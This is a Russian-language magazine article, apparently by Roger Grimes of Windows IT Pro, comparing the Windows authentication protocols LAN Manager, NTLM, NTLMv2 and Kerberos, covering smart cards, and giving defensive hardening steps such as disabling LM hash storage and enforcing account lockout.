Как отмечалось выше, в Windows применяется четыре основных протокола аутентификации: LAN Manager, NTLM, NTLMv2 и Kerberos. LAN Manager появился во времена DOS и продолжал использоваться с первыми версиями Windows. NTLM был выпущен вместе с NT. Новшеством пакета обновлений NT Server 4.0 Service Pack 4 (SP4) стал NTLMv2, а Windows 2000 привнесла Kerberos. По умолчанию все компьютеры с Windows 2000 и более новыми операционными системами совместимы со всеми четырьмя протоколами аутентификации. Передавая в эти системы соответствующие команды, другие рабочие станции и серверы могут выбирать протокол для обработки запроса аутентификации. Системы Windows 9x и более поздние с полным набором программных исправлений совместимы с LM, NTLM и NTLMv2. На платформе Microsoft Kerberos может использоваться только клиентами Windows 2000 (или более новыми) при обращениях в домены Windows 2000 (и выше). Компьютер с Windows 2000 или более новой версией операционной системы должен иметь Kerberos и по крайней мере еще один из протоколов аутентификации.

Исследования в области безопасности показали, что более старые протоколы (LM и NTLM) уязвимы в случае прослушивания и атак с разгадыванием пароля.

Поэтому, если возможно, рекомендуется использовать только Kerberos и NTLMv2. Чтобы убедиться в правильности этого совета, следует оценить возможности каждого протокола.

LAN Manager

Компания IBM разработала протокол LAN Manager, применив его в ранних версиях Windows и сетях Windows. Как все протоколы аутентификации Microsoft, LAN Manager генерирует хеш паролей (LM hash), который хранится и используется отправителем и получателем в процессе аутентификации. LAN Manager формирует LM-хеши, изменяя все буквы пароля на верхний регистр, разбивая пароль на две 7-символьные половины, а затем шифруя. В дальнейшем LM-хеш используется в нескольких последовательных операциях, аналогичных процессу запрос—ответ, описанному выше.

Если раньше LAN Manager был вполне приемлем, то сейчас он считается очень ненадежным. С помощью специальных инструментов пароли, зашифрованные методом хеширования LAN Manager, можно всего за несколько секунд преобразовать в простой текст. LM-хешам свойственны принципиальные недостатки, а также имеется ряд уязвимых мест:

пароли могут состоять из ограниченной последовательности 128 символов ASCII;
длина пароля не превышает 14 символов;
если пароль содержит менее 14 символов, то отсутствующие символы заменяются легко угадываемой хешированной формой, что позволяет точно определить длину пароля;
перед кэшированием LAN Manager преобразует все буквенные символы пароля в верхний регистр.

Почему LAN Manager до сих пор не вышел из употребления? В целях обратной совместимости он активен по умолчанию во всех компьютерах Windows, в том числе Windows Server 2003. В новейших базах данных аутентификации Windows слабый LM-хеш хранится наряду с более надежными просто на случай, если придется выполнить транзакцию LAN Manager. Если на предприятии не используются другие приложения, требующие аутентификации LAN Manager, то можно (и нужно) LAN Manager отключить.

NTLM

С появлением NT компания Microsoft спроектировала и развернула более надежный протокол аутентификации NTLM. В NTLM используется более эффективный алгоритм аутентификации, который создает более надежный хеш паролей (NTLM hash). Пароль NTLM может содержать до 128 символов. В отличие от хеширования LAN Manager, ограниченного использованием только символов ASCII, NTLM совместим с полным набором символов Unicode, что повышает сложность паролей. NTLM-хеш отсекается на 128-м символе, преобразуется в 16-разрядное значение Unicode, обрабатывается распределительной функцией MD4 и сохраняется в 32-символьной шестнадцатеричной строке. За счет использования NTLM-хеша в операциях запрос—ответ последовательность аутентификации NTLM гораздо сложнее процедуры LAN Manager.

NTLMv2

В итоге выяснилось, что и NTLM уязвим, и специалисты Microsoft подготовили NTLMv2, который до сих пор считается достаточно надежным, хотя сейчас предпочтительный протокол — Kerberos. NTLMv2 по-прежнему широко используется для локальной регистрации и в некоторых других случаях. NTLMv2 похож на NTLM, но в хеше пароля NTLMv2 используется аутентификация сообщений HMAC-MD5, а последовательности запрос—ответ присваивается метка времени, чтобы предотвратить атаки, в ходе которых взломщик записывает учетные данные и впоследствии их использует.

В целом NTLMv2 более устойчив к атакам с применением «грубой силы», нежели NTLM, так как в протоколе применяется 128-разрядный ключ шифрования. Известно только о двух программах взлома паролей (одна из них — LC5 компании Symantec), с помощью которых удавалось открыть хеши паролей NTLMv2.

Kerberos

Компания Microsoft приняла Kerberos в качестве выбираемого по умолчанию протокола доменной аутентификации для доменов Windows 2000, а затем и AD. Kerberos — открытый стандарт, пригодный для взаимодействия с инородными доменами (называемыми областями — realm — в UNIX и Linux). Каждый DC в доменах AD играет роль сервера распределения (Kerberos Distribution Server, KDC) и может участвовать в процедуре аутентификации. Безопасность повышается благодаря следующим характеристикам Kerberos:

взаимная аутентификация между клиентом и сервером;
надежная защита пароля, так как Windows пересылает пароль только при начальном обращении, а не в каждом событии аутентификации и все сеансы связи шифруются;
последовательность запрос-ответ с меткой времени не позволяет взломщику использовать перехваченный пароль по прошествии определенного времени;
серверный процесс может обращаться к удаленному ресурсу от имени пользователя;
интероперабельность.

Краткое описание работы Kerberos:

После успешной обычной аутентификации компьютер пользователя запрашивает билет безопасности из сервера Kerberos (DC) для будущих запросов аутентификации.
Сервер Kerberos выдает запросчику билет для участия в будущих событиях аутентификации и авторизации без повторного предъявления первоначальных учетных данных аутентификации.
Когда запросчику нужно обратиться к ресурсу сервера-участника, он получает другой билет доступа от сервера Kerberos и предъявляет его серверу ресурса для проверки.
Первоначальные учетные данные аутентификации не передаются по сетевым каналам ни в одном из последующих сеансов аутентификации (до тех пор, пока не истечет срок действия билета, выданного на этапе 2).

Следует обратить внимание, что, хотя принцип работы Kerberos напоминает инфраструктуру с частным открытым ключом (public key infrastructure, PKI), вся информация защищается с использованием симметричных ключей (в отличие от асимметричных ключей, применяемых в большинстве служб аутентификации).

Смарт-карты

Надежность паролей и других методов аутентификации на основе одного параметра быстро снижается. Электронная коммерция проникает в повседневную жизнь и возрастает как число способов кражи личных данных (спам, мошенничество с URL), так и вероятность злоупотреблений паролями. Многие специалисты считают, что аутентификация с двумя параметрами — в форме смарт-карт, USB-устройств или других криптографических устройств — в будущем станет обычным явлением для транзакций в Internet. Разработчики Microsoft встраивают в свои решения функции для работы с цифровыми сертификатами и смарт-картами. Для использования смарт-карт необходимо установить службу Certificate Services и распространить сертификаты смарт-карт. Конечно, нужны также физические смарт-карты, устройства считывания и программное обеспечение поставщика. Затем при необходимости пользователи могут вставлять свои смарт-карты в локальные устройства чтения для доступа к компьютеру Windows. При грамотном использовании смарт-карты могут существенно повысить надежность аутентификации.

Защита протокола аутентификации

В некоторых статьях ошибочно утверждается, что взломать механизм аутентификации Microsoft по-прежнему просто. В действительности из 20 существующих инструментов взлома пароля только два работают с NTLMv2 и лишь один — с Kerberos. Но, предприняв несколько простых шагов, можно отвести и эту угрозу. Для предотвращения попыток разгадывания и сброса пароля нужно принять следующие меры (большинство параметров можно настроить локально или с помощью Group Policy).

Отключить хранение LM-хешей, как описано в статье Microsoft «How to prevent Windows from storing a LAN manager hash of your password in Active Directory and local SAM databases» (http://support.microsoft.com/ default.aspx?scid=kb;en-us;299656). Это делается для того, чтобы помешать взломщикам открыть исходный пароль.
Отключить все протоколы аутентификации, кроме NTLMv2 и Kerberos (после исчерпывающего тестирования). Процедура описана в статье Microsoft TechNet «Network security: LAN Manager authentication level» (http://www.microsoft.com/resources/ documentation/windowsserv/2003/ standard/proddocs/en-us/576.asp).
Запретить начальную загрузку со сменных носителей, чтобы предотвратить запуск инструментов взлома пароля в обход операционной системы. Запрет начальной загрузки со всех дисков, кроме выбираемого по умолчанию, предотвращает доступ автономных программ взлома пароля к базе данных аутентификации, где хранятся хеши паролей.
Пользователи должны назначать сложные пароли длиной не менее 8 символов.
Пользователи должны менять свои пароли по крайней мере раз в квартал.
Активизировать блокировку учетной записи хотя бы на одну минуту с автоматическим сбросом. Это предотвращает разгадывание паролей в сети.

Обязанности пользователей

Благодаря NTLMv2, Kerberos и смарт-картам Windows располагает надежными механизмами аутентификации, устойчивыми к подслушиванию и атакам с применением метода перебора. Но оптимальные процедуры и надежные протоколы аутентификации не помогут, если пользователи назначают слабые пароли. Необходимо научить пользователей правильно выбирать пароли и добиться, чтобы пароли были сложными и надежными.

Роджер Граймз — Редактор Windows IT Pro и консультант по проблемам безопасности. Имеет сертификаты CPA, CISSP, CEH, CHFI, TICSA, MCT, MCSE: Security и Security+. roger@banneretcs.com

Источник